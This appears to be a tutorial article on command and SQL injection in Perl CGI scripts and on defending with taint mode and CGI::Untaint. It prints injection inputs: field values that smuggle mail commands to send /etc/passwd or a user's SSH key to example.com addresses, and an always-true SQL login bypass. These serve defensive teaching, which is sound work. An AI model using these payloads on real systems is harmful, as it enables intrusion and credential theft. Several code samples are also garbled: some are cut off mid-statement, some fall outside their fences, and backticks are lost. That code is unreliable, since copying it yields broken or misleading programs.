**Origins of Web Exploits**

Since 1993, Web servers have supported the Common Gateway Interface as a means to execute “any program” on a Web server and return the results back to a browser. In those early days, no one imagined CGI being the foundation for things like Amazon.com, eBay, or flickr. Back then, the idea of “running any program” meant things like sending mail or running a report on demand.

In section 6 of the World Wide Web Security FAQ, there is an example of a naively coded CGI program
that receives an email address as input and sends a brief email message each
time it is run:

```perl
## DON'T DO THIS! ##
use CGI qw(param);
my $mail_to = CGI::param('email');
open (MAIL, '| /usr/lib/sendmail $mail_to');
print MAIL "To: $mail_to
From: me

Hi there!
";
close MAIL;
```

This program will work as expected if the email address supplied is something
like phb@bigcorp.com. However, if someone runs this CGI program with the
unlikely email address of

```
phb@bigcorp.com; mail cracker@example.com < /etc/passwd
```
then this script will happily email the password file to an attacker.

Of course, an attacker can use this vulnerability to perform any action he can
imagine on your Web server. If grabbing a password file does not concern you,
remember that the attacker has the advantage in this situation. He can deface
your Web site, hunt for and steal sensitive information (like credit cards),
forcibly crash the server, or even use your server to launch more attacks.

---

**New Web Exploits**

Tricking a CGI program into performing unexpected commands is an old
exploit that you may have heard about before. As Web-based programs get bigger and more complex, there are new ways to exploit the vulnerabilities that
arise from naively written code.

For example, suppose you have a Web-based program that communicates with a
database. At some point your program needs to query the database to authenti-
cate a user, and it constructs that query something like this:

```perl
## DON'T DO THIS! ##
use CGI qw(param);
my $email = CGI::param('email');
my $sql = qq(
  SELECT * FROM users
  WHERE email='$email';
);
my $sth = $dbh->prepare($sql);
....
```

In this situation, an attacker won’t get very far trying to execute random com-
mands against your database. However, a naively constructed SQL statement
like this does give an attacker the ability to execute random queries against your
database. Again, the query will work as expected if the email address received is
something like phb@bigcorp.com. However, if the email address submitted is
actually something like

```
nobody@example.com' or 'a' = 'a
```
the resulting SQL query will be

```
SELECT * FROM users
WHERE email='nobody@example.com' or 'a' = 'a';
```

which does something entirely different, and may break the authentication
mechanism in your Web application.

This kind of vulnerability is known as a SQL injection attack, because it allows
someone to execute random queries against your database. There is no guaran-
tee that every fragment of SQL injected into this query will result in a syntacti-
cally valid or meaningful SQL expression. That’s no consolation though, because
with enough perseverance an attacker can figure out the structure of your database. At that point, he can capture, add, modify, or delete data in your database, perhaps destroying the applications that rely on that data in the process.

(SQL injection attacks are a complex topic. Steve Friedl wrote an excellent explanation of how these attacks work, and how to defend against them. See http://www.unixwiz.net/techtips/sql-injection.html for more details.)

### Defensive Programming to Avoid Exploits

Because Web-based programs are going to be available to anyone, anytime, anywhere, it is important to be appropriately paranoid when dealing with input from the outside world. Instead of writing CGI programs that expect input to be properly formed, it is better to test input to a CGI program for validity before using it.

Fortunately, Perl is ready to help you write more secure programs. When Perl is invoked with the -T flag, it is run in a special “taint mode” that keeps track of all data that your program uses as input. All data that comes into your program from outside is marked as tainted, while all data that is produced internally is considered clean.

For example, environment variables (%ENV), command line arguments, standard input, and all file and socket I/O are treated as tainted values. Any value that is calculated from tainted values, or a mix of tainted and untainted values, is also considered tainted. Constants and other values generated entirely inside your program are considered untainted. Here are some examples:

#### ## Untainted values

- `my $secs = localtime();`
- `my $five = 5;`
- `my $six = "six";`
- `my $abc = join("", "a" .. "c");`

#### ## Tainted values

- `use LWP::Simple;`  
  `my $page = get("http://localhost/");` ## came from a socket
- `my $date = 'date';` ## came from outside
  `chomp($date);` ## ... still tainted
- `my $name = <>;` ## came from stdin
- `open(FH, "<dev/null");`  
  `my $empty = <FH>;` ## came from file I/O
- `my $a = $0;` ## cmdline arg
- `my $b = $ARGV[0];` ## cmdline arg
- `my $c = $ENV{PATH};` ## environment variable

#### ## Untainted + Tainted = Tainted

- `my $def = $abc . $empty;` ## $empty was tainted,
  `## $def is now tainted`
- `my $six5 = $six . $five;` ## all untainted
- `my $len1 = length($abc);` ## untainted
- `my $len2 = length($def);` ## tainted

When in taint mode, Perl runs your script as normal, except when an operation involving tainted data would be unsafe.

In the email example above, a connection to sendmail is created with `open`. The actual pipe to open is partially determined by the content of the variable `$mail_to`, which could contain an email address, flags to send to sendmail, or a series of additional commands to execute. Those are the kinds of exploits we
want to prevent, which is why taint mode causes Perl to terminate immediately instead of inadvertently causing unknown damage.

```perl
#!/usr/bin/perl -T
use CGI qw(param);
my $mail_to = CGI::param('email'); ## tainted
open (MAIL, "| /usr/lib/sendmail $mail_to"); ## Exception!
...
```

---

**Working with Taint Mode**

Tainting is simply a security measure. When Perl is running in taint mode, it performs a negligible amount of extra work to keep track of any value that may have originated from outside your program or have been derived from such a tainted value. Should such a tainted value be passed to a function like `system`, `unlink`, or `open`, Perl will be paranoid and stop instead of possibly doing something unsafe. Simple operations like `print` do not change under taint mode.

Opening a subshell using `open(FH, "|...")`, `system()` or the like is potentially dangerous. These operations will cause fatal errors in taint mode if the value `$ENV{PATH}` remains tainted, even if the command to execute is untainted. There are two general strategies to handle this. The first is to set `$ENV{PATH}` to the empty string (an untainted value) and specify the full path to any executable found in a system or other such call:

```perl
#!/usr/bin/perl -T
$ENV{PATH} = ""; ## Untaint $PATH
print '/bin/date'; ## OK to invoke date now
```

The other approach is to set `$ENV{PATH}` to a predetermined set of directories and execute external commands as usual:

```perl
#!/usr/bin/perl -T
$ENV{PATH} = "/bin"; ## Untaint $PATH
print 'date'; ## Must be /bin/date
```

Similarly, taint mode causes Perl to trim back the directories in its include path down to those directories that were defined when Perl was built, and to ignore the current directory when looking for modules to load. Should this be a problem, remember to include the appropriate `use lib` declarations to specify additional directories for modules that your program needs to run.

Additionally, DBI may be run in a taint-aware mode, where it can check inputs for taintedness, taint all fetched data, or both. This has the effect of trapping misuse of tainted data that could lead to SQL injection vulnerabilities. Neither of these options is enabled by default. See the DBI documentation for more information.

Finally, it doesn’t matter where taint-checked operations occur. You may be trying to open a file for output in the main body of your program, or deep within a module. Wherever these potentially unsafe operations occur, if they involve tainted data, Perl will be paranoid and stop before doing any damage.

---

**Running in Taint Mode**

Suppose your CGI program calculates a monthly mortgage payment given inputs of an amount, an interest rate, and a repayment term:

```perl
#!/usr/bin/perl -T
```
use CGI qw(param);
my $amount = CGI::param('amount');
my $rate = CGI::param('rate');
my $term = CGI::param('term');
print monthly_payment($amount, $rate/100, $term);

If this program receives values of 100,000, 8, and 30, it would produce a sensible result like 733.76.

However, if this program receives values like "MMXIV," "twelve," and ";mail blackhat@example.com<~phb/.ssh/identity," this CGI program will return nonsense, because none of those values is meaningful when calculating a monthly mortgage payment. But this program will succeed in producing a nonsensical value, because it got nonsensical input, and there was no opportunity to do something malicious.

Remember, tainting is merely a security measure. If you are running a program in taint mode, there is no requirement to make sure you are dealing with valid input. However, Perl will protect you from performing any unsafe operations.

**Scrubbing Tainted Values**

Of course, there will be times when it is necessary to use a tainted value in a manner that would otherwise be unsafe. There are two ways to convert a tainted value into an untainted one. The first is to examine a tainted value and choose which of a series of possible untainted values to use. A common way to do this is to use an if statement or a hash lookup:

```perl
if (lc($input) eq "red") {
    $real_color = 
```

```perl
my %colors = (
    red => 
```

```perl
## alternatively...
my %colors = (        
    red => 
```

```perl
    my $real_color = $colors{$input};

While that technique will work in some isolated scenarios, the usual way to untaint a tainted value is to capture the expected portion of a tainted value within a regular expression match:

```perl
my $fmt = CGI::param('format'); ## tainted
fmt =~ m/(xml|rss|rdf|atom)/;
my $type = $1;  
## - OR -
open(my $out, ">index.$type"); ## OK - untainted
```

**Scrubbing with CGI::Untaint**

Tainting input in a Web application makes it more secure by preventing unsafe operations and forcing a more defensive approach to handling input. But a lot of the extra work necessary for that safety can be tedious. Fortunately, Tony Bow-
den’s wonderful CGI::Untaint framework reduces the tedium without any loss of safety.

Using CGI::Untaint makes taint mode a breeze to use. Instead of grabbing inputs directly from the CGI module, we pass those tainted values to a CGI::Untaint handler and tell that handler how to extract those values as they are needed. As an added benefit, the malicious portions of a value will be removed in the untainting process, leaving only the values we are expecting:

```perl
#!/usr/bin/perl -T
use CGI;
use CGI::Untaint;
my $query = new CGI;
my $handler = new CGI::Untaint($query->Vars);
my $amount = $handler->extract(-as_integer => 'amount');
my $rate = $handler->extract(-as_integer => 'rate');
my $term = $handler->extract(-as_integer => 'term');
print monthly_payment($amount, $rate/100, $term);
```

On its own, CGI::Untaint can scrub simple kinds of values: integers, hexadecimal values, and printable strings (i.e., strings with no control characters). However, CGI::Untaint also provides a framework for building additional objects to handle new types of data. Additional modules are already available on CPAN for untainting U.S. zip codes, UK postal codes, URLs, email addresses, IP addresses, and other common kinds of data.

Furthermore, modules are easy to write, allowing you to build a library of untainting modules to check and validate the kinds of input necessary in your application.